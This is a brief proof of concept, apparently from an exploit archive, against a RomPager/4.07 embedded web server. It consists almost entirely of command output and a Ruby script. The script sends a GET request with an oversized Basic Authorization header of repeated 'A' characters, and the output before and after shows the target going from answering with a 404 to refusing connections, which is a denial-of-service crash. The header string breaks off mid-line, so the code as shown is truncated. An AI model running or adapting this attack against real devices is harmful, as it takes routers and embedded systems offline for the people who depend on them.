# ./get.pl -n 17x.x.x.x [+] GET Http By Pretorians [!] Target: 17x.x.x.x Connecting to 17x.x.x.x HTTP/1.1 404 Not Found Content-Type: text/html Server: RomPager/4.07 UPnP/1.0 #ruby rugbi.rb End Result =========== ./get.pl -n 17x.x.x.x [+] GET Http By Pretorians [!] Target: 17x.x.x.x |!| Can not connect... ===EOF=== Code -------- require 'net/https' url = URI.parse("http://17x.x.x.x/") data = nil headers = { "Host" => "IP", "Authorization" => "Basic AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ } res = Net::HTTP.start(url.host, url.port) do |http| http.use_ssl = false http.send_request("GET", url.path, data, headers) end puts res.body